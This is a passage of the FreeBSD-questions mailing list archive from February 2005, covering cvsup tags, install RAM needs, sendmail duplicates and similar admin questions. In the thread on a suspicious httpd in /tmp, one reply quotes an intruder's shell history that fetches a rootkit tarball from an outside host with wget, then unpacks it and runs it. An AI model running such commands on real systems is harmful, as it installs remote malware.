_______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" >> > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:04:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3333316A4CE for ; Wed, 9 Feb 2005 14:04:05 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id C790943D48 for ; Wed, 9 Feb 2005 14:04:04 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 9 Feb 2005 08:04:01 -0600 Message-ID: <420A1851.70402@daleco.biz> Date: Wed, 09 Feb 2005 08:04:01 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Maxwell References: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> In-Reply-To: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 09 Feb 2005 14:04:02.0036 (UTC) FILETIME=[35403340:01C50EB0] cc: freebsd-questions@freebsd.org Subject: Re: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:04:05 -0000 Jeff Maxwell wrote: > I got this message today from cron, apparently my security update failed. > > Any Idea how to resolve this. I am also get a similar message on a 5.3 > box. > > > Fetching updates signature... > fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not > FoundError fetching updates > > > Jeff Maxwell Looks like Colin is having some troubles with his servers or hosting company: %lynx www.daemonology.net Due to hardware failures, daemonology.net is currently unavailable. Portsnap users: Assuming the dns magic works, portsnap should start operating correctly soon. FreeBSD Update users: I need to upload a bunch of files to the location where I'm temporarily hosting the update.daemonology.net domain -- this should be done on Wednesday or Thursday. Everybody else looking for content here: I'm currently looking for a new permanent home for this site... recommendations for *low cost* dedicated servers (or even better, a donated server) are welcome. Contact me at my freebsd.org address -- daemonology.net email is currently broken. Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:20:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1074016A4CE for ; Wed, 9 Feb 2005 14:20:26 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id B7A2D43D31 for ; Wed, 9 Feb 2005 14:20:25 +0000 (GMT) (envelope-from soheil.h.y@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so98571rns for ; Wed, 09 Feb 2005 06:20:25 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=GLYkFXE1YWavj7MD0A8XusturR5nmK7exgQyyeEkRUAukrpMH/++CJ1TU76g9ZXaADxTmhV3XnRMbEZLwN9CCo5zmCwztDNv4vCTb3MmXOCfu1h2CXz0GswB+TdJN9KriByeZQ5PLnd8U+VNH0eosMCU0Qjp2wQmKf7ZvZC068w= Received: by 10.38.206.39 with SMTP id d39mr82108rng; Wed, 09 Feb 2005 06:20:25 -0800 (PST) Received: by 10.38.179.59 with HTTP; Wed, 9 Feb 2005 06:20:25 -0800 (PST) Message-ID: <4c90b77205020906202bed0992@mail.gmail.com> Date: Wed, 9 Feb 2005 17:50:25 +0330 From: Soheil Hassas Yeganeh To: questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: About cvsup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Soheil Hassas Yeganeh List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:20:26 -0000 Dear All, Some newbie question to ask: I want to update my kernel sources on 5.3-Release. I have used cvsup with src-sys uncommented on the supfile. After it finishes its job, it just creates the ,v and Attic files and no update is happend on my sources. There are even new files (,v) and no file creation is happend. I just see the ,v files when cvsup finishes its jobs and says finished successfully. And in the ,v file i can see the changes. What i can do to update my kernel files? Did I have to build the world ? Best Regards, Soheil From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:35:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BCFE416A4CE for ; Wed, 9 Feb 2005 14:35:29 +0000 (GMT) Received: from asmtp04.eresmas.com (asmtp04.eresmas.com [62.81.235.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5183143D41 for ; Wed, 9 Feb 2005 14:35:29 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.57] (helo=mx01.eresmas.com) by asmtp04.eresmas.com with esmtp (Exim 4.30) id 1CyswB-0004MJ-1E; Wed, 09 Feb 2005 15:35:27 +0100 Received: from [80.103.17.134] (helo=[80.103.17.134]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1CyswA-0002QL-K8; Wed, 09 Feb 2005 15:35:27 +0100 Message-ID: <420A1FB5.8050908@wanadoo.es> Date: Wed, 09 Feb 2005 15:35:33 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org References: <4209FCC4.1050702@wanadoo.es> In-Reply-To: <4209FCC4.1050702@wanadoo.es> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) cc: Ted Mittelstaedt cc: Kris Kennaway Subject: Re: >16MB memory requirement for 5.3 install (Re: cracked outfloppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:35:29 -0000 Submitted PR is docs/77304 Regards Ramiro From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:47:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8C5B316A4CE for ; Wed, 9 Feb 2005 14:47:45 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 18F3643D1D for ; Wed, 9 Feb 2005 14:47:45 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id 6A342FD01F; Wed, 9 Feb 2005 15:47:43 +0100 (CET) Message-ID: <420A228A.7050202@locolomo.org> Date: Wed, 09 Feb 2005 15:47:38 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Soheil Hassas Yeganeh References: <4c90b77205020906202bed0992@mail.gmail.com> In-Reply-To: <4c90b77205020906202bed0992@mail.gmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@freebsd.org Subject: Re: About cvsup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:47:45 -0000 Soheil Hassas Yeganeh wrote: > Dear All, > > Some newbie question to ask: > I want to update my kernel sources on 5.3-Release. > I have used cvsup with src-sys uncommented on the supfile. After it > finishes its job, it just creates the ,v and Attic files and no > update is happend on my sources. There are even new files (,v) and no > file creation is happend. > > I just see the ,v files when cvsup finishes its jobs and says finished > successfully. And in the ,v file i can see the changes. > > What i can do to update my kernel files? Did I have to build the world ? You didn't set tag, eg. tag=RELENG_5 without a tag cvsup will fetch you a copy of the repository rather than a snapshot (AFAIK). Also, you may prefer to cvsup src-all rather than just src-sys to get sources for building world. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:52:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 720FB16A4CE for ; Wed, 9 Feb 2005 14:52:48 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 332A543D31 for ; Wed, 9 Feb 2005 14:52:48 +0000 (GMT) (envelope-from marko@freebsd.org) Received: from movens.plus.com ([80.229.231.20] helo=[127.0.0.1]) by ptb-relay01.plus.net with esmtp (Exim) id 1CytCw-0000jh-FK; Wed, 09 Feb 2005 14:52:46 +0000 Message-ID: <420A235A.7060907@freebsd.org> Date: Wed, 09 Feb 2005 14:51:06 +0000 From: Mark Ovens User-Agent: Mozilla Thunderbird 7.0 (Windows/20050209) MIME-Version: 1.0 To: daniel References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> In-Reply-To: <200502072252.53881.danstemporaryaccount@yahoo.ca> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-0, 08/02/2005), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:52:48 -0000 daniel wrote: > On February 7, 2005 10:40 pm, Chris Hill wrote: >> On Mon, 7 Feb 2005, daniel wrote: >> > i've been trying to install freebsd-5.3RELEASE on this old computer on >> > and off for days now. i downloaded the floppies, watched the thing >> > boot and each and every time, it'll get to the little beastie prompt >> > where it counts down and is *supposed* to run sysinst but instead, it >> > just reboots! >> >> That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. >> The 16M you cite below seems a bit meager. > > well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 should > be fine. but even if it weren't, you'd think there'd be some form of useful > error message instead of just rebooting. it just makes no sense. > Interestingly, the Installation Notes for 4.11-R, http://www.freebsd.org/releases/4.11R/installation-i386.html state, in section 1.2 Hardware Requirements, "The sysinstall(8) installation program requires 16MB of RAM" Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I find that hard to believe. Mark --- avast! Antivirus: Outbound message clean. Virus Database (VPS): 0506-0, 08/02/2005 Tested on: 09/02/2005 14:51:07 avast! - copyright (c) 2000-2004 ALWIL Software. http://www.avast.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:53:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 05F9F16A4CF for ; Wed, 9 Feb 2005 14:53:54 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 304EC43D49 for ; Wed, 9 Feb 2005 14:53:53 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 14:53:51 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp018) with SMTP; 09 Feb 2005 15:53:51 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: "Bret Walker" , Date: Wed, 9 Feb 2005 15:48:18 +0100 X-Mailer: KMail [version 1.3.2] References: <014901c50de3$15518b10$17336981@medill.northwestern.edu> In-Reply-To: <014901c50de3$15518b10$17336981@medill.northwestern.edu> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209145353.304EC43D49@mx1.FreeBSD.org> Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:53:54 -0000 i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: --------------------- wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz ----------------------- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their "successes" directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: > Last night, I ran chkrootkit and it gave me a warning about being infected > with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version > 0.96d or older on Linux systems. I have only run 0.97d. The file that > set chkrootkit off > was httpd which was located in /tmp. /tmp is always mounted rw, noexec. > > I update my packages (which are installed via ports) any time there is a > security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple > of > weeks, but the only code that required it to be on was in a .htaccess/SSL > password protected directory. > > Tripwire didn't show anything that I noted as odd. I reexamined the > tripwire logs, > which are e-mailed to an account off of the machine immediately after > completion, and I don't > see anything odd for the 3/4 days before or after the date on the file. > (I don't scan /tmp) > > I stupidly deleted the httpd file from /tmp, which was smaller than the > actual apache httpd. And I don't back up /tmp. > > The only info I can find regarding this file being in /tmp pertains to > Slapper. Could something have copied a file there? Could I have done it > by mistake at some point - the server's been up ~60 days, plenty of time > for me to forget something? > > This is production box that I very much want to keep up, so I'm seeking > some sound advice. > > Does this box need to be rebuilt? How could a file get written to /tmp, > and is it an issue since it couldn't be executed? I run tripwire nightly, > and haven't seen anything odd to the best of my recollection. I also > check ipfstat -t frequently to see if any odd connections are happening. > > I appreciate any sound advice on this matter. > > Thanks, > Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:54:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7AAD216A4CF for ; Wed, 9 Feb 2005 14:54:05 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 25B4B43D45 for ; Wed, 9 Feb 2005 14:54:05 +0000 (GMT) (envelope-from soheil.h.y@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so101509rns for ; Wed, 09 Feb 2005 06:54:04 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=slBL4082MtzxT5FDfU3/1hTOaKvbWcM/5fFnNS9yGuM8ANDnTmewV9b0Zs3qptxu3FUypheC2hROkASImo4K8Axc6htRyUTt9Z4VKhUja+58b9aH4nV9JGlBd56HHWHvJiEZv/DhLhW9+HE4IUBVffpwTEspStcb7oN1T0G8B7c= Received: by 10.38.179.70 with SMTP id b70mr54205rnf; Wed, 09 Feb 2005 06:54:03 -0800 (PST) Received: by 10.38.179.59 with HTTP; Wed, 9 Feb 2005 06:54:03 -0800 (PST) Message-ID: <4c90b772050209065414f9d354@mail.gmail.com> Date: Wed, 9 Feb 2005 18:24:03 +0330 From: Soheil Hassas Yeganeh To: Erik Norgaard In-Reply-To: <420A228A.7050202@locolomo.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <4c90b77205020906202bed0992@mail.gmail.com> <420A228A.7050202@locolomo.org> cc: questions@freebsd.org Subject: Re: About cvsup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Soheil Hassas Yeganeh List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:54:05 -0000 I want the head version, What tag should i set for the head version On Wed, 09 Feb 2005 15:47:38 +0100, Erik Norgaard wrote: > Soheil Hassas Yeganeh wrote: > > Dear All, > > > > Some newbie question to ask: > > I want to update my kernel sources on 5.3-Release. > > I have used cvsup with src-sys uncommented on the supfile. After it > > finishes its job, it just creates the ,v and Attic files and no > > update is happend on my sources. There are even new files (,v) and no > > file creation is happend. > > > > I just see the ,v files when cvsup finishes its jobs and says finished > > successfully. And in the ,v file i can see the changes. > > > > What i can do to update my kernel files? Did I have to build the world ? > > You didn't set tag, eg. tag=RELENG_5 without a tag cvsup will fetch you > a copy of the repository rather than a snapshot (AFAIK). Also, you may > prefer to cvsup src-all rather than just src-sys to get sources for > building world. > > Cheers, Erik > > -- > Ph: +34.666334818 web: http://www.locolomo.org > S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt > Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 > Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:55:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 646C916A4CE for ; Wed, 9 Feb 2005 14:55:51 +0000 (GMT) Received: from smtpauth06.mail.atl.earthlink.net (smtpauth06.mail.atl.earthlink.net [209.86.89.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 20AB643D41 for ; Wed, 9 Feb 2005 14:55:51 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=yoda.datawok.com) by smtpauth06.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CytFu-0000yp-Gu for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 09:55:50 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 08:56:16 -0600 User-Agent: KMail/1.6.2 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200502090856.16001.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcba98d0296b398365afc9f8795ac9ad28350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 Subject: [OT] easy authpf access from Windows (for non-unix users)? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:55:51 -0000 Is anyone running authpf with Windows clients in the network? If so, how are the Windows clients logging in? What's the easiest mechanism for this. I want my grandson to have free access to the (Windows) computers; but I want an adult to manually authorize internet access to prevent unsupervised surfing. Thanks, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 14:57:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D6DFE16A4CE for ; Wed, 9 Feb 2005 14:57:48 +0000 (GMT) Received: from complex.heavybit.com (complex.heavybit.com [216.127.86.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8394F43D2D for ; Wed, 9 Feb 2005 14:57:48 +0000 (GMT) (envelope-from ken@rosewoodblues.com) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated) by complex.heavybit.com (8.11.6/8.11.6) with ESMTP id j19Evml27539 for ; Wed, 9 Feb 2005 06:57:48 -0800 Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: " " From: Ken Hawkins Date: Wed, 9 Feb 2005 09:57:44 -0500 X-Mailer: Apple Mail (2.619.2) Subject: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 14:57:48 -0000 Sorry if this is not quite the place to ask however, if it is not can someone point me toward the right resource (on the net) for answers. I am running FreeBSD on a box with an ethernet; ifconfig em0: flags=8843 mtu 1500 options=1b inet ???.???.???.151 netmask 0xffff0000 broadcast 10.50.255.255 inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1 inet ???.???.???.152 netmask 0xffffffff broadcast 10.50.1.152 inet ???.???.???.153 netmask 0xffffffff broadcast 10.50.1.153 ether 00:30:48:2c:76:e2 media: Ethernet 100baseTX status: active the are just our ips. you will notice that .152 and .153 are aliases and are mapped to external ips via a switch. my question is how can I resolve names to the ip aliases on the box? ie ???.???.???.152 -> a.net and ???.???.???.153 -> b.net is this a /etc/hosts kind of entry? ???.???.???.152 web1.a.net web1 ???.???.???.152 web1.a.net. ???.???.???.153 web1.b.net web1 ???.???.???.153 web1.b.net. any help would be greatly appreciated! ken; From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:05:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A514C16A4CE for ; Wed, 9 Feb 2005 15:05:06 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3665643D1D for ; Wed, 9 Feb 2005 15:05:06 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id B30F9FD01F; Wed, 9 Feb 2005 16:05:04 +0100 (CET) Message-ID: <420A269A.5060804@locolomo.org> Date: Wed, 09 Feb 2005 16:04:58 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Soheil Hassas Yeganeh References: <4c90b77205020906202bed0992@mail.gmail.com> <420A228A.7050202@locolomo.org> <4c90b772050209065414f9d354@mail.gmail.com> In-Reply-To: <4c90b772050209065414f9d354@mail.gmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@freebsd.org Subject: Re: About cvsup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:05:06 -0000 Soheil Hassas Yeganeh wrote: > I want the head version, What tag should i set for the head version >>>I want to update my kernel sources on 5.3-Release. The handbook has a list of cvs tags in the appendix. You will want RELENG_5_3 or RELENG_5, choosing the latter and updating regularly will give a gradual upgrade. You probably don't want "." which is CURRENT, the bleeding edge (aka 6.0-CURRENT), and may give you some surprises. The tag "HEAD" is a symbolic reference to ".". At least, I suggest you wait jumping head first till you feel comfortable with the whole process. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:15:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A0D616A4CE for ; Wed, 9 Feb 2005 15:15:23 +0000 (GMT) Received: from web51706.mail.yahoo.com (web51706.mail.yahoo.com [206.190.38.224]) by mx1.FreeBSD.org (Postfix) with SMTP id DC85D43D2F for ; Wed, 9 Feb 2005 15:15:22 +0000 (GMT) (envelope-from sarav_gsa@yahoo.com) Received: (qmail 73683 invoked by uid 60001); 9 Feb 2005 15:15:22 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=TVKhHSLfrlYEiaIj2Osy1+xpjdX1oMiuYWNe9B0CBC9gBTNp/qWIBXi7xNS/tzwphia+zFu0p/5EJWulz36/8kzH57y3GUObNlhuWDwYF0IUPTSzI0pJsiChoKnp7zUGRK4jLwqvLXLDVmcN44z8x54qCMU73VIuPJ80tz8XVpg= ; Message-ID: <20050209151522.73681.qmail@web51706.mail.yahoo.com> Received: from [203.193.155.110] by web51706.mail.yahoo.com via HTTP; Wed, 09 Feb 2005 07:15:22 PST Date: Wed, 9 Feb 2005 07:15:22 -0800 (PST) From: saravanan ganapathy To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: sendmail issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:15:23 -0000 Hai , I am using 5.3 release with updated all the ports. I am facing a problem with sendmail. # pkg_info | grep sendmail sendmail-8.13.3 Reliable,.... # /usr/local/etc/rc.d/sendmail.sh start # netstat -an | grep 25 tcp6 0 0 *.25 *.* LISTEN tcp4 0 0 *.25 *.* LISTEN # telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]' 220 ....ESMTP Sendmail 8.13.3/8.13.1; It works fine. But I also found that another sendmail which is in /etc/rc.d/sendmail If I do # /etc/rc.d/sendmail start Then this also create a new socket as #netstat -an | grep 25 tcp4 0 0 127.0.0.1.25 *.* LISTEN tcp6 0 0 *.25 *.* LISTEN tcp4 0 0 *.25 *.* LISTEN If I do again # telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]' 220 ....ESMTP Sendmail 8.13.1/8.13.1; How two sendmail(8.13.1 & 8.13.3) installed in my system? If I remove sendmail-8.13.3 using pkg_deinstall, pkg_info shows no sendmail. But still I can start /etc/rc.d/sendmail. What may be the problem? Please help me Sarav __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:20:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 367C616A4D9 for ; Wed, 9 Feb 2005 15:20:09 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 2C36243D58 for ; Wed, 9 Feb 2005 15:20:08 +0000 (GMT) (envelope-from emanuel.strobl@gmx.net) Received: (qmail invoked by alias); 09 Feb 2005 15:20:05 -0000 Received: from flb.schmalzbauer.de (EHLO 